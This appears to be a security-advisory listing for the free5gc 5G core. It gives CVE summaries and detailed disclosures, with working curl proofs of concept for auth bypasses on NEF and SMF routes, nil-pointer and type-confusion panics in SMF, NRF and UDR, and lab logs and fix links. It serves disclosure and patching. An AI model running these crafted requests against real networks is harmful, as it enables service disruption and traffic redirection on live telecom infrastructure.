See how free5gc compares to other vendors in security performance
An issue in the HandleGetSharedData function of free5gc v4.0.1 allows attackers to cause a Denial of Service (DoS) via a crafted input.
An issue in the ModifyAMFEventSubscriptionProcedure function (processor/eventexposure.go) of free5gc v4.1.0 allows attackers to cause a Denial of Service (DoS) via supplying a crafted PATCH request.
A NULL pointer dereference in the UDMC registration handler component of free5gc v4.0.1 allows attackers to cause a Denial of Service (DoS) via supplying crafted payload.
A NULL pointer dereference in the CDR processing path of free5gc v4.0.1 allows attackers to cause a Denial of Service (DoS) via supplying crafted payload.
An issue in the NAS decoder component of free5gc v4.0.1 allows attackers to cause a Denial of Service (DoS) via a crafted Registration Request message.
An issue in the NGAP handler of free5gc v4.0.1 allows attackers to cause a Denial of Service (DoS) via a crafted NAS PDU.
An issue in the NF Discovery endpoint of free5gc v4.0.1 allows attackers to cause a Denial of Service (DoS) via a crafted snssais query.
Improper Input Validation in the HTTPModifySubscription handler of free5gc v4.0.1 allows attackers to cause a Denial of Service (DoS) via a crafted input.
Improper input validation in the buildFilter function (processor/processor.go) of free5gc v4.0.1 allows attackers to cause a Denial of Service (DoS) via a crafted input.
Improper input validation in the HandleUpdate function (/sbi/parameterprovision.go) of free5gc v4.0.1 allows attackers to cause a Denial of Service (DoS) via a crafted input.
An issue in the RechargePut function of free5gc v4.0.1 allows attackers to cause a Denial of Service (DoS) via a crafted input.
An issue in the complexQueryFilterSubprocess function in the NRF Discovery service of free5gc v4.0.1 allows attackers to cause a Denial of Service (DoS) via a crafted input.
An issue in the CreateUEContextProcedure function (/v1/ue-contexts/{supi}) of free5gc v4.1.0 allows attackers to cause a Denial of Service (DoS) via supplying a crafted PUT request.
Summary free5GC's NEF mounts the nnef-pfdmanagement route group without inbound OAuth2/bearer-token authorization. A network attacker who can reach NEF on the SBI can use a forged or arbitrary bearer token (e.g. Authorization: Bearer not-a-real-token) to read PFD application data via GET /applications and GET /applications/{appID}, and to create or delete PFD change-notification subscriptions via POST /subscriptions and DELETE /subscriptions/{subID}. Same root cause as the other NEF SBI findings: the route group is mounted without any inbound auth middleware. Unlike the OAM and traffic-influence groups, nnef-pfdmanagement IS declared in the runtime ServiceList, so this is the production-intended path that operators expect to be protected by OAuth2 setting receive from NRF: true -- and it is not.
Details Validated against the NEF container in the official Docker compose lab. - Source repo tag: v4.2.1 - Running Docker image: free5gc/nef:v4.2.0 - Runtime NEF commit: 5ce35eab - Docker validation date: 2026-03-11
NEF advertises OAuth2 setting receive from NRF: true, but the entire nnef-pfdmanagement route group is mounted with no inbound auth middleware, so forged-token requests reach the read and subscription handlers and execute against UDR-backed state.
Code evidence (paths in free5gc/nef): - Route group mounted without auth middleware: NFs/nef/internal/sbi/server.go:56 - Read routes exposed at /applications and /applications/:appID: NFs/nef/internal/sbi/apipfdf.go:13 - Subscription routes exposed at /subscriptions and /subscriptions/:subID: NFs/nef/internal/sbi/apipfdf.go:13 - GET /applications queries UDR for application PFD data: NFs/nef/internal/sbi/processor/pfdf.go:19 - GET /applications/:appID queries UDR for an application PFD: NFs/nef/internal/sbi/processor/pfdf.go:53 - POST /subscriptions only checks notifyUri is present, then stores the subscription: NFs/nef/internal/sbi/processor/pfdf.go:83 - DELETE /subscriptions/:subID removes the subscription: NFs/nef/internal/sbi/processor/pfdf.go:110 - NEF context only exposes outbound token acquisition (GetTokenCtx); there is no inbound authorization path: NFs/nef/internal/context/nefcontext.go:153
PoC Reproduced end-to-end against the running NEF at http://10.100.200.19:8000 using a fabricated bearer token.
1. Seed an AF context (also forged-token): curl -i \ -H 'Authorization: Bearer not-a-real-token' \ -H 'Content-Type: application/json' \ --data '{"afServiceId":"svc-pfdf-read","afAppId":"app-seed-pfdf-read","dnn":"internet","snssai":{"sst":1,"sd":"010203"},"anyUeInd":true,"trafficFilters":[{"flowId":1,"flowDescriptions":["permit out ip from 192.0.2.41 to 198.51.100.0/24"]}],"trafficRoutes":[{"dnai":"mec-pfdf-read","routeInfo":{"ipv4Addr":"10.60.0.3","portNumber":0}}]}' \ http://10.100.200.19:8000/3gpp-traffic-influence/v1/af-poc-pfdf-read-20260311/subscriptions
2. Seed one PFD application entry (also forged-token): curl -i \ -H 'Authorization: Bearer not-a-real-token' \ -H 'Content-Type: application/json' \ --data '{"pfdDatas":{"app-poc-pfdf-read-20260311":{"externalAppId":"app-poc-pfdf-read-20260311","pfds":{"pfd-poc":{"pfdId":"pfd-poc","urls":["^http://pfdf-read.example.com(/\\\\S)?$"]}}}}}' \ http://10.100.200.19:8000/3gpp-pfd-management/v1/af-poc-pfdf-read-20260311/transactions
3. READ PFD collection with forged token -> 200 OK returns PFD data: curl -i -H 'Authorization: Bearer not-a-real-token' \ 'http://10.100.200.19:8000/nnef-pfdmanagement/v1/applications?application-ids=app-poc-pfdf-read-20260311'
4. READ individual PFD with forged token -> 200 OK: curl -i -H 'Authorization: Bearer not-a-real-token' \ http://10.100.200.19:8000/nnef-pfdmanagement/v1/applications/app-poc-pfdf-read-20260311
5. CREATE PFD subscription with forged token -> 201 Created: curl -i \ -H 'Authorization: Bearer not-a-real-token' \ -H 'Content-Type: application/json' \ --data '{"applicationIds":["app-poc-sub1","app-poc-sub2"],"notifyUri":"http://127.0.0.1:65530/pfd-notify"}' \ http://10.100.200.19:8000/nnef-pfdmanagement/v1/subscriptions
6. DELETE PFD subscription with forged token -> 204 No Content: curl -i -X DELETE \ -H 'Authorization: Bearer not-a-real-token' \ http://10.100.200.19:8000/nnef-pfdmanagement/v1/subscriptions/1
NEF container logs (docker logs nef) show requests reaching business handlers and returning success codes: [INFO][NEF][PFDF] GetApplicationsPFD - appIDs: [app-poc-pfdf-read-20260311] [INFO][NEF][GIN] | 200 | GET | /nnef-pfdmanagement/v1/applications?application-ids=... [INFO][NEF][PFDF] GetIndividualApplicationPFD - appID[app-poc-pfdf-read-20260311] [INFO][NEF][GIN] | 200 | GET | /nnef-pfdmanagement/v1/applications/... [INFO][NEF][PFDF] PostPFDSubscriptions - appIDs: [app-poc-sub1 app-poc-sub2] [INFO][NEF][GIN] | 201 | POST | /nnef-pfdmanagement/v1/subscriptions [INFO][NEF][PFDF] DeleteIndividualPFDSubscription - subID[1] [INFO][NEF][GIN] | 204 | DELETE | /nnef-pfdmanagement/v1/subscriptions/1
Impact Missing inbound authentication (CWE-306) and authorization (CWE-862) on the nnef-pfdmanagement SBI route group. This is the production-intended PFD service for NEF (declared in the runtime ServiceList), so operators expect it to be protected by NRF-issued OAuth2 -- and it is not. Any party that can reach NEF on the SBI can: - Read AF-supplied PFD application data anonymously, leaking traffic-classification policy (URL regex patterns, application identifiers) used downstream by SMF/UPF. - Create attacker-controlled PFD change-notification subscriptions pointing at attacker-chosen notifyUri endpoints, turning NEF into an unauthenticated outbound HTTP request source on whatever applications the attacker subscribes to. - Delete legitimate PFD subscriptions, denying change notifications to legitimate consumers and breaking downstream PFD-update propagation.
The defect is route-group-scoped: there is no auth middleware on the group at all, so every read and subscription endpoint inside this group inherits the missing inbound auth boundary. Severity is scored against the route group's full capability surface.
Affected: free5gc v4.2.1.
Upstream issue: https://github.com/free5gc/free5gc/issues/862 Upstream fix: https://github.com/free5gc/nef/pull/23
Summary free5GC's SMF mounts the UPI management route group without OAuth2/bearer-token authorization middleware. A network attacker who can reach SMF on the SBI can hit UPI endpoints with no Authorization header at all, and the requests reach the SMF business handlers. In the running Docker lab this was directly demonstrated for read (GET /upi/v1/upNodesLinks), write (POST /upi/v1/upNodesLinks with attacker-controlled UP-node and link payload), and delete (DELETE /upi/v1/upNodesLinks/{nodeID}) operations.
The defect is route-group-scoped: there is no inbound auth middleware on the UPI group at all, while a control comparison against the sibling nsmf-oam group on the same SMF instance shows OAM IS protected (no-token request returns 401 Unauthorized). So this is not a global config gap -- it is specifically that the UPI group was mounted without the auth middleware that the OAM group has.
Details Validated against the SMF container in the official Docker compose lab. - Source repo tag: v4.2.1 - Running Docker image: free5gc/smf:v4.2.0 - Docker validation date: 2026-03-13
Control comparison on the same SMF instance: - GET /upi/v1/upNodesLinks (no token) -> 200 OK - GET /nsmf-oam/v1/ (no token) -> 401 Unauthorized
This side-by-side proves OAuth2 middleware is wired in for nsmf-oam but not for UPI on the same process.
Code evidence (paths in free5gc/smf): - UPI group mounted WITHOUT auth middleware: NFs/smf/internal/sbi/server.go:76 - OAM group mounted WITH auth middleware (control): NFs/smf/internal/sbi/server.go:95 - UPI business handlers (read / write / delete on upNodesLinks): - NFs/smf/internal/sbi/apiupi.go:44 - NFs/smf/internal/sbi/apiupi.go:60 - NFs/smf/internal/sbi/apiupi.go:84
PoC Reproduced end-to-end against the running SMF at http://10.100.200.6:8000.
1. READ UP-nodes/links with NO Authorization header -> 200 OK: curl -i http://10.100.200.6:8000/upi/v1/upNodesLinks
2. WRITE: POST attacker-controlled UPF node and link with NO Authorization header -> 200 OK: curl -i -X POST http://10.100.200.6:8000/upi/v1/upNodesLinks \ -H 'Content-Type: application/json' \ --data '{"links":[{"A":"gNB1","B":"UPF-POC-20260313","weight":1}],"upNodes":{"UPF-POC-20260313":{"type":"UPF","nodeID":"198.51.100.20","addr":"198.51.100.20","sNssaiUpfInfos":[{"sNssai":{"sst":1,"sd":"010203"},"dnnUpfInfoList":[{"dnn":"internet"}]}]}}}'
3. DELETE with FORGED token -> 404 Not Found from business logic (auth was bypassed; the 404 is a business response, not an auth rejection): curl -i -X DELETE http://10.100.200.6:8000/upi/v1/upNodesLinks/UPF-POC-20260313 \ -H 'Authorization: Bearer not-a-real-token'
4. CONTROL: same instance, sibling OAM route, no token -> 401 Unauthorized: curl -i http://10.100.200.6:8000/nsmf-oam/v1/
SMF container logs (docker logs smf) confirm the side-by-side behavior: [INFO][SMF][GIN] | 200 | GET | /upi/v1/upNodesLinks [INFO][SMF][GIN] | 401 | GET | /nsmf-oam/v1/ [INFO][SMF][GIN] | 404 | DELETE | /upi/v1/upNodesLinks/UPF-POC-20260313 [INFO][SMF][GIN] | 200 | POST | /upi/v1/upNodesLinks
Impact Missing inbound authentication (CWE-306) and authorization (CWE-862) on the SMF UPI SBI route group. Severity is scored against the route group's intended capability surface (UP-node and link topology management), which is realized by the demonstrated PoC: an unauthenticated network attacker can already today read SMF's view of the UP-plane topology, inject attacker-controlled UPF nodes and link entries, and target deletions of named entries.
Any party that can reach SMF on the SBI can: - Read SMF's current UP-node and link topology view anonymously. - Inject attacker-controlled UPF entries (with attacker-chosen nodeID / addr / S-NSSAI / DNN), poisoning SMF's view of which UPFs serve which slices/DNNs and biasing subsequent UPF selection / PFCP path establishment for legitimate PDU sessions. - Issue topology delete operations against named UPF entries, denying or disrupting legitimate UPF participation in SMF's selection logic.
The defect is route-group-scoped: there is no auth middleware on the UPI group at all, so every UPI endpoint inside this group inherits the missing inbound auth boundary, and the same-instance OAM control proves this is the UPI mount specifically (not a global SMF config issue).
Affected: free5gc v4.2.1.
Upstream issue: https://github.com/free5gc/free5gc/issues/887 Upstream fix: https://github.com/free5gc/smf/pull/197
Summary free5GC's SMF mounts the UPI management route group without inbound OAuth2 middleware (same root cause as the broader UPI auth gap reported in free5gc/free5gc#887). On top of that, the DELETE /upi/v1/upNodesLinks/{upNodeRef} handler unconditionally dereferences upNode.UPF after the type-guarded async release, even though AN-typed nodes are constructed without a UPF object. As a result, a single unauthenticated DELETE /upi/v1/upNodesLinks/gNB1 request crashes the handler with a nil-pointer panic AND mutates the in-memory user-plane topology before panicking (the UpNodeDelete(upNodeRef) line runs first). This is an unauthenticated, state-mutating panic-DoS sink that an off-path network attacker can trigger by name against any AN entry.
Details Validated against the SMF container in the official Docker compose lab. - Source repo tag: v4.2.1 - Running Docker image: free5gc/smf:v4.2.1 - Runtime SMF commit: 8385c00a - Docker validation date: 2026-03-22 local (container log timestamp 2026-03-21T23:43:17Z) - SMF endpoint: http://10.100.200.6:8000
Control comparison on the same SMF instance: - GET /nsmf-oam/v1/ (no token) -> 401 Unauthorized - DELETE /upi/v1/upNodesLinks/gNB1 (no token) -> 500 Internal Server Error (panic)
The sibling nsmf-oam returning 401 proves OAuth middleware IS wired in for other SMF route groups; the UPI group specifically is mounted without it.
Vulnerable handler logic (paths in free5gc/smf): go // NFs/smf/internal/sbi/apiupi.go:94..99 if upNode.Type == smfcontext.UPNODEUPF { go s.Processor().ReleaseAllResourcesOfUPF(upNode.UPF) } upi.UpNodeDelete(upNodeRef) upNode.UPF.CancelAssociation() // <-- panics for AN-typed nodes; nil UPF
The Type == UPNODEUPF guard only protects the asynchronous ReleaseAllResourcesOfUPF call. After that, UpNodeDelete(upNodeRef) runs unconditionally (so the topology mutation lands first), and then upNode.UPF.CancelAssociation() is called unconditionally on a UPF that is nil for AN nodes by construction.
Code evidence: - UPI group mounted WITHOUT auth middleware: - NFs/smf/internal/sbi/server.go:76 - NFs/smf/internal/sbi/server.go:78 - Protected control comparison (other SMF groups DO use auth): - NFs/smf/internal/sbi/server.go:99 - NFs/smf/internal/sbi/server.go:105 - Delete handler (panic site): - NFs/smf/internal/sbi/apiupi.go:94 - NFs/smf/internal/sbi/apiupi.go:99 - AN nodes are constructed without a UPF object (root cause of the nil deref): - NFs/smf/internal/context/userplaneinformation.go:95 - NFs/smf/internal/context/userplaneinformation.go:97
PoC Reproduced end-to-end against the running SMF at http://10.100.200.6:8000.
1. Control: protected sibling OAM route returns 401: curl -i http://10.100.200.6:8000/nsmf-oam/v1/ HTTP/1.1 401 Unauthorized
2. Trigger: unauthenticated DELETE on the default AN node gNB1: curl -i -X DELETE http://10.100.200.6:8000/upi/v1/upNodesLinks/gNB1 HTTP/1.1 500 Internal Server Error
3. SMF container logs (docker logs --tail 120 smf) show topology mutation landing BEFORE the panic, and the panic stack pointing at apiupi.go:99: [INFO][SMF][Init] UPNode [gNB1] found. Deleting it. [INFO][SMF][Init] Delete UPLink [UPF] <=> [gNB1]. [ERRO][SMF][GIN] panic: runtime error: invalid memory address or nil pointer dereference github.com/free5gc/smf/internal/sbi.(Server).DeleteUpNodeLink /go/src/free5gc/NFs/smf/internal/sbi/apiupi.go:99 +0x298 [INFO][SMF][GIN] | 500 | DELETE | /upi/v1/upNodesLinks/gNB1
The lab state was manually restored after validation by re-creating the AN entry; that POST is restoration-only and is NOT a mitigation.
Impact Three compounding defects on the same SMF SBI surface: 1. Missing inbound authentication (CWE-306) and authorization (CWE-862) on the UPI route group, so the trigger is reachable to any off-path network attacker who can reach SMF on the SBI -- no token, no session, no UE state needed. The same-instance nsmf-oam returning 401 proves the middleware is wired in elsewhere and only missing on UPI. 2. NULL pointer dereference (CWE-476) in DeleteUpNodeLink: the Type == UPNODEUPF guard only covers the async release call, then upNode.UPF.CancelAssociation() runs unconditionally on AN-typed nodes that have a nil UPF field by construction. 3. Order of operations (CWE-755 / CWE-754): UpNodeDelete(upNodeRef) mutates the in-memory user-plane topology BEFORE the dereference panics, so the topology change lands even though the request returns 500. This makes the bug state-mutating, not just a plain panic.
Any party that can reach SMF on the SBI can: - Delete arbitrary named entries (e.g. gNB1) from SMF's in-memory user-plane topology anonymously via a single DELETE /upi/v1/upNodesLinks/{ref} request, denying SMF's ability to consider that AN/UPF in subsequent UPF selection / PFCP path establishment for legitimate UE sessions. - Trigger a panic on the SMF goroutine for the deleted-AN case, even though Gin recovers the goroutine, leaving the topology in the mutated state above. - Repeat the trigger by name against any AN entry, sustaining the topology denial without ever authenticating.
This is a strict superset of the impact in free5gc/free5gc#887 for this specific code path: same auth bypass, plus a concrete request-triggerable nil deref, plus state mutation that survives the panic.
Affected: free5gc v4.2.1.
Upstream issue: https://github.com/free5gc/free5gc/issues/905 Upstream fix: https://github.com/free5gc/smf/pull/199
Summary free5GC's NEF mounts the nnef-oam route group without inbound OAuth2/bearer-token authorization. A network attacker who can reach NEF on the SBI can hit the OAM route with no Authorization header at all and the handler returns 200 OK. The current OAM handler is a stub that returns null, but the structural defect is route-group-scoped: the entire OAM route group has no inbound auth middleware, so every future OAM operation added to this group inherits the missing auth boundary by default. Same root cause as the NEF traffic-influence and PFD-management findings.
Details Validated against the NEF container in the official Docker compose lab. - Source repo tag: v4.2.1 - Running Docker image: free5gc/nef:v4.2.0 - Runtime NEF commit: 5ce35eab - Docker validation date: 2026-03-11
NEF advertises OAuth2 setting receive from NRF: true, yet the OAM route group is mounted without any inbound auth middleware and answers unauthenticated GETs with 200 OK.
Code evidence (paths in free5gc/nef): - OAM route group mounted without auth middleware: NFs/nef/internal/sbi/server.go:60 - OAM route exposed at /: NFs/nef/internal/sbi/apioam.go:9 - OAM processor returns 200 OK directly: NFs/nef/internal/sbi/processor/oam.go:9 - NEF context only exposes outbound token acquisition (GetTokenCtx); there is no inbound authorization path: NFs/nef/internal/context/nefcontext.go:153
PoC Reproduced against the running NEF at http://10.100.200.19:8000 with no Authorization header:
curl -i http://10.100.200.19:8000/nnef-oam/v1/
Observed output: HTTP/1.1 200 OK null
NEF container logs (docker logs nef) show the request being served while OAuth is enabled: [INFO][NEF][GIN] | 200 | GET | /nnef-oam/v1/
Impact Missing inbound authentication (CWE-306) and authorization (CWE-862) on the NEF OAM SBI route group. Severity is scored against the OAM route group's intended capability surface (Operations / Administration / Maintenance), NOT against the current stub handler. The current handler is a stub that returns null, but the defect is route-group-scoped: there is no auth middleware on the group at all, so every future OAM operation added behind this group inherits the missing inbound auth boundary by default.
Any party that can reach NEF on the SBI can: - Probe and enumerate the OAM route surface anonymously today. - Hit any future OAM-group endpoint (read, modify, restart-style operations) anonymously, because the auth boundary does not exist for this group.
Operators who assume OAuth2 setting receive from NRF: true enforces inbound auth on NEF are wrong for this route group.
Affected: free5gc v4.2.1.
Upstream issue: https://github.com/free5gc/free5gc/issues/861 Upstream fix: https://github.com/free5gc/nef/pull/23
Summary free5GC's NEF mounts the 3gpp-traffic-influence API without inbound OAuth2/bearer-token authorization. A network attacker who can reach NEF on the SBI can create, read, patch, and delete traffic-influence subscriptions either with no Authorization header at all, or with a forged bearer token (e.g. Authorization: Bearer not-a-real-token). This includes creating AnyUeInd=true subscriptions intended to affect group / any-UE traffic steering. The route group is also reachable even when the running config's ServiceList does not declare it, so operators who think they disabled the service via config are still exposed.
This is the highest-impact NEF service exposure observed in the lab because it enables unauthenticated state changes on traffic-steering policy objects rather than read-only exposure.
Details Validated against the NEF container in the official Docker compose lab. - Source repo tag: v4.2.1 - Running Docker image: free5gc/nef:v4.2.0 - Runtime NEF commit: 5ce35eab - Docker validation date: 2026-03-11
NEF advertises OAuth2 setting receive from NRF: true, and its ServiceList only declares nnef-pfdmanagement and nnef-oam. Despite that, the 3gpp-traffic-influence route group is mounted and reachable with no inbound auth middleware.
Code evidence (paths in free5gc/nef): - Route group mounted without auth middleware: NFs/nef/internal/sbi/server.go:48 - CRUD routes exposed at /:afID/subscriptions and /:afID/subscriptions/:subID: NFs/nef/internal/sbi/apiti.go:13 - POST allocates AF/subscription state and writes traffic-influence data: NFs/nef/internal/sbi/processor/ti.go:50 - PATCH looks up and updates the subscription, then calls UDR/PCF: NFs/nef/internal/sbi/processor/ti.go:279 - DELETE looks up and removes the subscription: NFs/nef/internal/sbi/processor/ti.go:355 - NEF context only exposes outbound token acquisition (GetTokenCtx); there is no inbound authorization path: NFs/nef/internal/context/nefcontext.go:153 - Config validation only allows nnef-pfdmanagement and nnef-oam: NFs/nef/pkg/factory/config.go:126
PoC Reproduced end-to-end against the running NEF at http://10.100.200.19:8000.
1. CREATE subscription with NO Authorization header at all -> 201 Created: curl -i \ -H 'Content-Type: application/json' \ --data '{"afServiceId":"svc-noauth","afAppId":"app-noauth","dnn":"internet","snssai":{"sst":1,"sd":"010203"},"anyUeInd":true,"trafficFilters":[{"flowId":1,"flowDescriptions":["permit out ip from 192.0.2.40 to 198.51.100.0/24"]}],"trafficRoutes":[{"dnai":"mec-noauth","routeInfo":{"ipv4Addr":"10.60.0.1","portNumber":0}}]}' \ http://10.100.200.19:8000/3gpp-traffic-influence/v1/af-poc-noauth/subscriptions
2. CREATE second subscription with FORGED bearer token -> 201 Created: curl -i \ -H 'Authorization: Bearer not-a-real-token' \ -H 'Content-Type: application/json' \ --data '{"afServiceId":"svc-high","afAppId":"app-high","dnn":"internet","snssai":{"sst":1,"sd":"010203"},"anyUeInd":true,"trafficFilters":[{"flowId":1,"flowDescriptions":["permit out ip from 192.0.2.20 to 198.51.100.0/24"]}],"trafficRoutes":[{"dnai":"mec-poc","routeInfo":{"ipv4Addr":"10.60.0.2","portNumber":0}}]}' \ http://10.100.200.19:8000/3gpp-traffic-influence/v1/af-poc-high/subscriptions
3. READ with forged token -> 200 OK: curl -i -H 'Authorization: Bearer not-a-real-token' \ http://10.100.200.19:8000/3gpp-traffic-influence/v1/af-poc-high/subscriptions/1
4. PATCH with forged token -> 500 Query to UDR failed (still reaches business logic, not 401/403, so auth bypass confirmed): curl -i -X PATCH \ -H 'Authorization: Bearer not-a-real-token' \ -H 'Content-Type: application/json' \ --data '{"trafficFilters":[{"flowId":1,"flowDescriptions":["permit out ip from 192.0.2.20 to 198.51.100.0/24"]}],"trafficRoutes":[{"dnai":"mec-poc-updated"}]}' \ http://10.100.200.19:8000/3gpp-traffic-influence/v1/af-poc-high/subscriptions/1
5. DELETE with forged token -> 204 No Content: curl -i -X DELETE \ -H 'Authorization: Bearer not-a-real-token' \ http://10.100.200.19:8000/3gpp-traffic-influence/v1/af-poc-high/subscriptions/1
NEF container logs (docker logs nef) show the requests reaching business handlers and returning success / 500-from-business codes (never 401/403): [INFO][NEF][TraffInfl] PostTrafficInfluenceSubscription - afID[af-poc-high] [INFO][NEF][GIN] | 201 | POST | /3gpp-traffic-influence/v1/af-poc-high/subscriptions [INFO][NEF][TraffInfl] PatchIndividualTrafficInfluenceSubscription - afID[af-poc-high], subID[1] [INFO][NEF][GIN] | 500 | PATCH | /3gpp-traffic-influence/v1/af-poc-high/subscriptions/1 [INFO][NEF][TraffInfl] GetIndividualTrafficInfluenceSubscription - afID[af-poc-high], subID[1] [INFO][NEF][GIN] | 200 | GET | /3gpp-traffic-influence/v1/af-poc-high/subscriptions/1 [INFO][NEF][TraffInfl] DeleteIndividualTrafficInfluenceSubscription - afID[af-poc-high], subID[1] [INFO][NEF][GIN] | 204 | DELETE | /3gpp-traffic-influence/v1/af-poc-high/subscriptions/1 [INFO][NEF][TraffInfl] PostTrafficInfluenceSubscription - afID[af-poc-noauth] [INFO][NEF][GIN] | 201 | POST | /3gpp-traffic-influence/v1/af-poc-noauth/subscriptions
Impact Missing inbound authentication (CWE-306) and authorization (CWE-862) on the highest-impact NEF SBI surface. Any party that can reach NEF on the SBI network can: - Create attacker-controlled traffic-influence subscriptions (including AnyUeInd=true group/any-UE subscriptions), redirecting AF traffic to attacker-chosen DNAIs and routing endpoints via SMF/UPF. - Read existing AF subscriptions, leaking traffic-steering policy data. - Patch existing subscriptions, modifying live traffic-steering decisions for legitimate AFs. - Delete subscriptions, denying service to legitimately provisioned traffic influence.
The traffic-influence route group is also reachable even when the runtime ServiceList does not declare it, so operators relying on ServiceList to disable the service do not actually get that protection.
Affected: free5gc v4.2.1.
Upstream issue: https://github.com/free5gc/free5gc/issues/859 Upstream fix: https://github.com/free5gc/nef/pull/23
Summary free5GC's NRF root SBI endpoint POST /oauth2/token contains a parser-level type-confusion bug family. The handler in NFs/nrf/internal/sbi/apiaccesstoken.go reflects over models.NrfAccessTokenAccessTokenReq, special-cases only plain string and NrfNfManagementNfType fields, and treats every other field as if it were a single models.PlmnId. The parsed models.PlmnId is then assigned with reflect.Value.Set() to whichever field name the attacker put in the form body, which panics whenever the destination field's real type is incompatible (slice, different struct, primitive). Gin recovery converts each panic into HTTP 500, but the endpoint remains remotely panicable from a single unauthenticated form-encoded request and is repeatedly triggerable across at least 6 confirmed crashing fields.
Note: /oauth2/token is unauthenticated by design (it is the OAuth2 token-issuance endpoint). So this is NOT framed as an auth-bypass finding -- it is a parser bug on an intentionally unauthenticated SBI endpoint.
Details Validated against the NRF container in the official Docker compose lab. - Source repo tag: v4.2.1 - Running Docker image: free5gc/nrf:v4.2.1 - Docker validation date: 2026-03-22 - NRF endpoint: http://10.100.200.3:8000
Root cause is in the access-token request parser: - NFs/nrf/internal/sbi/apiaccesstoken.go:52 - NFs/nrf/internal/sbi/apiaccesstoken.go:87 - NFs/nrf/internal/sbi/apiaccesstoken.go:98 - NFs/nrf/internal/sbi/apiaccesstoken.go:100 - NFs/nrf/internal/sbi/apiaccesstoken.go:112
The model definition lives in free5gc/openapi: - models/modelnrfaccesstokenaccesstokenreq.go:27 - models/modelnrfaccesstokenaccesstokenreq.go:29 - models/modelnrfaccesstokenaccesstokenreq.go:30 - models/modelnrfaccesstokenaccesstokenreq.go:31
The parser's effective shape is: parse value as models.PlmnId, then dstField.Set(reflect.ValueOf(parsedPlmnId)). Every destination field that is NOT string and NOT NrfNfManagementNfType falls into this branch, so any time the destination is a slice ([]models.PlmnId, []models.Snssai, []models.PlmnIdNid, []string) or a different pointer type (models.PlmnIdNid), the reflect.Set call panics with a runtime type-confusion error.
Confirmed crashing fields in this DoS family (all reachable from a single unauthenticated form-encoded POST): - requesterPlmnList -> panic assigning models.PlmnId to []models.PlmnId - requesterSnssaiList -> panic assigning models.PlmnId to []models.Snssai - requesterSnpnList -> panic assigning models.PlmnId to []models.PlmnIdNid - targetSnpn -> panic assigning models.PlmnId to models.PlmnIdNid - targetSnssaiList -> panic assigning models.PlmnId to []models.Snssai - targetNsiList -> panic assigning models.PlmnId to []string
PoC Reproduced end-to-end against the running NRF at http://10.100.200.3:8000. Each of the following single requests independently crashes the handler.
1. requesterPlmnList -> []models.PlmnId mismatch: curl -i -X POST http://10.100.200.3:8000/oauth2/token \ -H 'Content-Type: application/x-www-form-urlencoded' \ --data-urlencode 'requesterPlmnList={"mcc":"208","mnc":"93"}'
2. requesterSnssaiList -> []models.Snssai mismatch: curl -i -X POST http://10.100.200.3:8000/oauth2/token \ -H 'Content-Type: application/x-www-form-urlencoded' \ --data-urlencode 'requesterSnssaiList={"mcc":"208","mnc":"93"}'
3. requesterSnpnList -> []models.PlmnIdNid mismatch: curl -i -X POST http://10.100.200.3:8000/oauth2/token \ -H 'Content-Type: application/x-www-form-urlencoded' \ --data-urlencode 'requesterSnpnList={"mcc":"208","mnc":"93"}'
4. targetSnpn -> models.PlmnIdNid mismatch: curl -i -X POST http://10.100.200.3:8000/oauth2/token \ -H 'Content-Type: application/x-www-form-urlencoded' \ --data-urlencode 'targetSnpn={"mcc":"208","mnc":"93"}'
5. targetSnssaiList -> []models.Snssai mismatch: curl -i -X POST http://10.100.200.3:8000/oauth2/token \ -H 'Content-Type: application/x-www-form-urlencoded' \ --data-urlencode 'targetSnssaiList={"mcc":"208","mnc":"93"}'
6. targetNsiList -> []string mismatch: curl -i -X POST http://10.100.200.3:8000/oauth2/token \ -H 'Content-Type: application/x-www-form-urlencoded' \ --data-urlencode 'targetNsiList={"mcc":"208","mnc":"93"}'
Observed response (per request, no body returned): HTTP/1.1 500 Internal Server Error Content-Length: 0
NRF container logs (docker logs nrf) confirm the reflect.Set type-confusion panic in HTTPAccessTokenRequest, with the panic message changing per field type: [ERRO][NRF][GIN] panic: reflect.Set: value of type models.PlmnId is not assignable to type []models.PlmnId [ERRO][NRF][GIN] panic: reflect.Set: value of type models.PlmnId is not assignable to type []models.Snssai [ERRO][NRF][GIN] panic: reflect.Set: value of type models.PlmnId is not assignable to type []models.PlmnIdNid [ERRO][NRF][GIN] panic: reflect.Set: value of type models.PlmnId is not assignable to type models.PlmnIdNid [ERRO][NRF][GIN] panic: reflect.Set: value of type models.PlmnId is not assignable to type []string INFO][NRF][GIN] | 500 | POST | /oauth2/token |
Impact Type-confusion panic family (CWE-843) in the form-parser of an unauthenticated, network-reachable, root token-issuance endpoint, with no input validation on field types (CWE-20) and no defensive handling of the resulting panic before reflection (CWE-755).
This is NOT framed as an auth-bypass finding: /oauth2/token is unauthenticated by design. It is also NOT a process-kill DoS: Gin recovery catches each panic and the NRF process keeps running, so legitimate clients can still get tokens between attacker requests.
What the bug realistically gives an off-path attacker: - A reliable, unauthenticated, repeatable panic primitive on the root token endpoint, reachable from a single form-encoded POST. - Per-request CPU + log-write cost that is materially higher than a normal validation reject (400) would have been, because the panic generates a stack trace each time. - A class of at least 6 attacker-selectable form keys that all crash via the same root cause, so partial fixes that harden one field do not close the family. - Sustained-attack potential: under flood, the panic-amplification can degrade NRF token issuance (more expensive than 400 validation) and pollute logs / rotate out useful diagnostic history.
No Confidentiality impact (HTTP 500 with empty body, no stack trace returned to the caller). No Integrity impact (panic happens before any state change). Availability impact is limited to per-request degradation under sustained attack; a single request does not deny service to other clients.
Affected: free5gc v4.2.1.
Upstream issue: https://github.com/free5gc/free5gc/issues/918 Upstream fix: https://github.com/free5gc/nrf/pull/83
Summary free5GC's UDR nudr-dr DELETE /subscription-data/{ueId}/{servingPlmnId}/ee-subscriptions/{subsId}/amf-subscriptions handler panics on a single authenticated request against a fresh UDR instance when the supplied ueId does not exist in UESubsCollection. The processor checks value, ok := udrSelf.UESubsCollection.Load(ueId) and sets a 404 USERNOTFOUND problem-details on the miss path, but execution continues and immediately runs value.(udrcontext.UESubsData) -- a Go type assertion on a nil interface, which panics with interface conversion: interface {} is nil, not context.UESubsData. Gin recovery converts the panic into HTTP 500, but the endpoint remains repeatedly panicable.
This is the no-precondition sibling of free5gc/free5gc#919: same handler, same bug pattern (set pd, do not return, then dereference), but the panic site is the nil-interface type assertion at line 61 instead of the nil-pointer deref at line 69. No earlier EE-subscription create is required.
This endpoint requires a valid nudr-dr OAuth2 access token (PR:L, NOT PR:N), so this is scored as an authenticated panic-DoS, not as an unauth-bypass finding.
